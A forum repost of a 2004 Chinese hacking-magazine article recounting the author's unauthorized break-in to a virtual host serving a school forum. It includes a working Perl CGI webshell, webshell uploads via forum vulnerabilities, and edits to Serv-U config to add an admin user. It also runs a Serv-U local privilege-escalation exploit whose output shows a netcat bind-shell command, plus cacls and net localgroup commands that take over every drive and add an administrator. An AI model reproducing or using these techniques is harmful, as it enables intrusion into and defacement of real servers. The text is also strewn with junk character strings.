找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1838|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
. X0 c  A  p$ H: c. y本文作者:angel0 l; t! B  h  ?
文章性质:原创
# [8 @/ d  H# [& j6 L+ W6 u发布日期:2004-11-09 " G* u3 f% j: a8 T  T+ B
注意:
7 E3 D; u; `( r- ]- ?: y8 ^本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
$ [# U# h+ M$ y9 @% d本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。0 \4 z" s3 T- }2 t% w

+ E7 r8 Y1 A1 ]7 b: q  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
" C" d* d9 e2 z) T  d! [- i- x- W5 M; z) T, }1 F
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 0 Q8 R; s( Y! q1 F4 m

7 c9 o6 A) m1 o: B# c  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 ( ]5 y; p! V1 k" {, K' W3 p; J% P; b" I
3 v! n2 o% e1 R; s" d
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 ' }; K/ K' ]+ {* }% G, T# @
- O- C# v5 n. m/ |$ u2 O
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 : C. C4 N5 l, S! H% Z
- ?: y, Y) Z: `$ F6 L1 T( B$ d2 s
  没有目的的跳转目录着……
: X) u9 G, U4 Q( Z: A- `. {9 F5 e+ q9 L! z4 f
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
3 w/ [0 [' z* L6 H7 D/ V
, {. R% s- c# S; `( |  结束了吗?不,我试着 FTP 一下:
) G( l' u, D5 Z' [$ D9 H3 ?5 k8 |' E/ H, T  m$ E/ x# T
Microsoft Windows 2000 [Version 5.00.2195]  m# C% b0 n% f8 g- ?3 a
(C) 版权所有 1985-2000 Microsoft Corp.
! ?+ ?( g0 J0 c% f0 G6 K  z
) ~. c! C& M6 p( rC:\Documents and Settings\Administrator>ftp www.school.com
' ^+ @- T0 k" R0 p( S% wConnected to www. school.com.
' _/ G( Z; d7 [220 Welcome to FTP Server...
# Y" e2 r) \& lUser (www.bjtrq.com:(none)): 0 g$ p7 z; r0 p- ]7 F- B' N
331 User name okay, need password. / l. g1 z7 w# |$ H
Password: & E3 i4 T) f/ b. u$ ~7 r4 b
530 Not logged in.
2 i# }6 b! W  r8 {( D+ t9 SLogin failed.
; T; S$ g) [; p5 t2 t0 _ftp> bye
" u! m. c" z: f& y- p221 Goodbye!
' Z: a1 [0 d/ j( R
) @  ~) T6 n7 F2 u; |. [" a9 E% M6 U+ a4 S! n) A* o
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
( k6 }: p+ t! l
! I1 p6 n* C7 k4 j+ u6 N1 c% T# A% l4 B  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
! v  V+ a  m. V+ S; u, S! `' P) u  O- U. |4 P0 j1 f0 P
Application Data
5 }* X1 k1 ~: V* J4 a" i# m# IDocuments
" Q: Y( I+ n% K( M4 \DRM
3 E) [6 c( [1 N1 JFavorites9 e: p! E! ?: s3 l: p6 w( v
Templates
( p1 U& M: d" y, m「开始」菜单
1 y) W( F) E$ y8 J8 R- }8 M& A桌面
* k  H2 R- R% J& ]% @. {; @: E ' O, E) h) D# w8 v
9 W) F8 y! @8 Y+ a/ Z* ]  C
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, / d. ?  i3 r# y

( ?2 Y* `, N" `: E" {( ZActiveState ActivePerl 5.8
& l8 b# X8 v( dAdministrative Tools. V5 v. o1 @" R0 k1 f
Deerfield.com
# j8 g# v( T) R. S$ ~& u4 U% RDTemp
  R: `( k+ t% {* JIPSentry
. H% K3 Q/ ]0 o0 m2 F0 K3 oMBM 59 t( B8 h! n7 j% @8 M- G3 @) R
NetMeter
& _- p% T& J$ s& c1 O8 u2 @Network ICE' [# O) I8 K, T7 ^" v' A# j
Persits Software AspEmail3 ^$ y' T( m% q9 k2 b2 @
Persits Software AspJpeg
, p5 @0 G9 V# S  {9 \9 P; sServ-U FTP Server9 Q% N+ F; b$ u" C/ C
Symantec Client Security8 z! q9 Z" ?( c7 P
Windows 优化大师
% r' J; h( R  h) @WinRAR
' h4 _. ]6 _; p, O/ m) \启动
/ F: I  v. ^$ J4 B( G管理工具
! H# f( c0 K2 N1 {附件
4 Y& y! S6 c8 B0 n0 j5 z- g 6 A6 `8 u9 V2 T' ~
1 l* O9 x" V0 A# j
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
$ R. V. q6 W" \* y4 j
$ s; }: E9 u2 f5 {  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:   S& W  l- V* v9 u1 T; C1 G
% X) A7 e1 e5 e* z" f4 G0 V3 \
User281=angel|1|0 1 v2 k! C5 e  W" I5 }
! Y1 ^9 i) G8 C' W3 O$ ^! \+ Z5 q+ _+ b
3 J3 ?2 ^  w1 ?4 u: d/ W) ]+ N+ Z) D
  然后加上 % M& a9 f; j# |) Q5 ?

+ T( N: D: N$ ?8 a" n[USER=angel|1]
. j' Y4 p/ V2 |& [8 `/ ~; APassword=ng98F85379EA68DBF97BAADCA99B69B8050 t5 `& I8 @' }8 B4 M
HomeDir=D:\websites9 _( p) N& A# G/ ?5 S
RelPaths=11 l5 H& z$ W% A% Z# P. Z5 G; q
TimeOut=600
0 D- [0 e4 M& x" KMaintenance=System
; `3 B0 X) q) i! dAccess1=D:\websites|RWAMELCDP
  j: u: L, [' ]% jSKEYValues=! F' L$ \5 u7 U4 p
( [" ^; Y4 p& h

+ W  ]" \* ~0 n0 r6 O  ?  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… 1 |' @/ ]. E* L6 C  h
) r, W. g8 \3 z% {( j
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 9 N- t7 G2 G$ j

; P4 w; _$ R$ p* T  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
0 Y, f9 C) l9 ^5 G+ P8 h! ~' |- [3 n
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: . a. W$ j# u  _: c% |& H

& {( y' K7 v- y, H#!/usr/bin/perl
0 E- |- k4 n$ N0 w  _: rbinmode(STDOUT);/ j" V& g5 r: k  b/ S1 {. F
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
+ m* Y% D" w( k5 Q. D1 [$_ = $ENV{QUERY_STRING};
2 H+ ^+ ?* g5 Ws/%20/ /ig;
4 N, R# l6 Y* j9 y4 ]9 u: G$ js/%2f/\//ig;
, [) _2 H% n$ M4 F; Z9 C$execthis = $_;
/ j, W4 S$ U4 j* u3 j) Isyswrite(STDOUT, "<HTML><PRE>\r\n", 13);. l4 j' X5 l+ ~3 U6 \1 T
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
& K' {+ z5 L( P3 isystem($execthis);3 S, [1 U8 l* [" B
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
( n/ t/ f6 d9 Oclose(STDERR);6 K+ x. K1 m3 a
close(STDOUT);
7 d3 K! y' Q& O4 H8 H. k+ y5 sexit;
/ I5 ?$ o6 w4 p9 Q3 n3 _% C 8 e6 \% B( ^4 g: k$ T. V

- P, t6 t  N& C- a* Z( j. M  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
3 C  W; `/ o3 e: e3 y8 z# `6 d5 v. [, b
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: 5 Z- ^7 y' U" i0 u6 @+ Y

0 f/ a8 p; z9 t* f- Dhttp://anyhost//cmd.pl?d:\user\bin\su.exe 6 T. g/ x. p  S% s

$ w* _* X& M" Q/ l/ G9 G: R9 Q0 P
  返回:
+ M& G- i+ \% g- q9 F6 F3 L4 T2 d6 M  l* M" q: b
Serv-u >3.x Local Exploit by xiaolu
# }! A, E6 t5 p8 `( h  y3 M" m+ a' i, F, C: F  U
USAGE: serv-u.exe "command" 3 j2 {, L; C9 N) I" r) H# K
" A2 @1 a. v3 _% r: w
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" + [+ l) j" Y( l- L' A9 q  |

  Z) F# Z; ^4 ^9 I; F6 P. v
- N1 v9 k  b. h  W7 ]9 H9 o  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: , [* ~. {, Z4 @  ?, @8 I$ C3 o8 N

+ A/ c8 y5 Y) S4 a4 Lhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
2 l! W9 F  C/ C# S3 F: ?& n0 h1 D) N# ?
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
$ g- Q" F4 S" \' R9 P) a/ V( s# Z
9 |9 h. x; a% i7 x3 c3 vhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" ( O- F+ ~% V0 q6 \

. n- L( G7 v; @) Vhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" ) n( _0 A( \8 \* e4 o9 Q3 U2 d

# J% w" a* {) p8 U- |: |' M# F" x9 A: ~' K
  返回下面的信息,就表示成功了!!!
( c" V  w* a0 \: D: x- B6 V' U- ]. X6 F  t# O3 i# |" ?
Serv-u >3.x Local Exploit by xiaolu , _& e  f, U# z! A
8 U5 ?* c# Y8 g, a' x1 l0 l% }
<220 Serv-U FTP Server v5.2 for WinSock ready...
; Q+ P- I  g% t; i# n/ c
3 |, N$ E7 d; b$ z1 J1 Q5 `>USER LocalAdministrator
8 B$ I( r- Y7 x( B7 |
( v/ @, E1 \6 S. v<331 User name okay, need password. & Q7 ^) ^9 r# t  h. M6 z

; Z, U0 D7 b* G. q0 ]; G" ^******************************************************
; V* @! o' ~7 t1 ]
8 [+ `3 l8 Y8 u>PASS #l@$ak#.lk;0@P
2 I8 E6 ]! p/ l& ]
  ?6 U) N& w1 H1 X/ _<230 User logged in, proceed.
8 h  _+ ~" r9 h& S; j
4 x  [6 J! F( m0 f7 O****************************************************** / p2 w# h2 q9 t
/ D* f7 P  W. v0 r9 O6 `1 A% c! {
>SITE MAINTENANCE
. O- Z9 a5 L+ j0 ?- z4 c9 D0 r2 P% N+ ?
******************************************************
1 s3 x7 G1 e+ q( @. E- p1 W9 d, b$ C2 G# c+ X% G& \
[+] Creating New Domain... * U5 \1 X* ]8 _
" l0 z: v/ u! k& }3 w0 p+ Y
<200-DomainID=2
$ V8 ~# C- K9 W8 U1 B5 i8 _! b5 J  Q, J: Y* |. f* K
<220 Domain settings saved
/ f1 n9 c  }: w* b# d/ H
. G& v1 F, t8 N( ~****************************************************** ' g4 X3 v; S6 p- Z6 ]
, T, J6 T7 P/ _. d; ~
[+] Domain xl:2 Created
/ I" T) u4 w$ l0 B! k4 y
% @( a# R! [$ h* v; M* ?6 c3 w+ `[+] Creating Evil User
! x$ n! @8 E  Z! R: d) V1 F' F5 {' i/ Y( y5 \8 [
<200-User=xl " K9 ^5 u" N; N! q6 c
% K7 U2 ^/ M6 B2 C5 q( ]
200 User settings saved
: d8 b7 M2 L/ v& `1 @; T4 w8 |! q. \# m- K1 X" Z. {
****************************************************** ; z7 M( y6 i% H. [: ^/ r4 }5 t
- w& W% ]! s$ \- V8 B6 |
[+] Now Exploiting...
* K, k0 ?7 P. E* m! o% l) ^/ J/ n- d) W
>USER xl : I) x. r* W6 k

0 k0 W4 i. \! e9 V1 {8 S, f<331 User name okay, need password.
/ d0 q1 S$ g& }# N5 A/ g0 Q" j) g6 }6 ^
****************************************************** ) H6 u; J& o1 W/ E
5 X+ }, l0 R) D0 B' ^
>PASS 111111
+ R3 F7 a: H3 `8 V7 M: B7 n$ u  r: f
<230 User logged in, proceed.
; x& l0 I$ T9 o! Q" M% G) R) [7 p: m0 a/ H" w2 X( r/ g6 w" X
****************************************************** % Y  W6 E( g. ?) I9 U
0 i1 b0 V+ w2 `9 D3 N5 z
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
; r6 A0 d: c& w9 z6 C9 i% A; n. u% d; J' H' m+ }
<220 Domain deleted
! j' s4 |9 Q$ }: v0 q( [
! p. }- T1 g6 Z. e. V2 L/ P****************************************************** 4 t+ X& \) H9 U; z0 D2 q

- l" Q% |5 y7 {6 M/ W% r7 W9 G3 e7 i6 g' _8 }$ }; T
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:   t  u+ W8 D6 b% k. J9 \1 F, u
3 R: @& J7 E* `$ ~
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
2 {+ [! l' O: E4 ^2 J ; i, G+ U) p$ x, |
% Z5 q3 B1 l5 n& B7 T& m
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
" ^! }# U8 o& _- ]2 y
2 ~) E) g4 X5 J, Y  R$ I  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。# g. ]' n3 b. P2 d# \4 m

6 w+ j: Q7 L, [7 V- {  
  T- P$ h+ e) n- i8 V2 X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表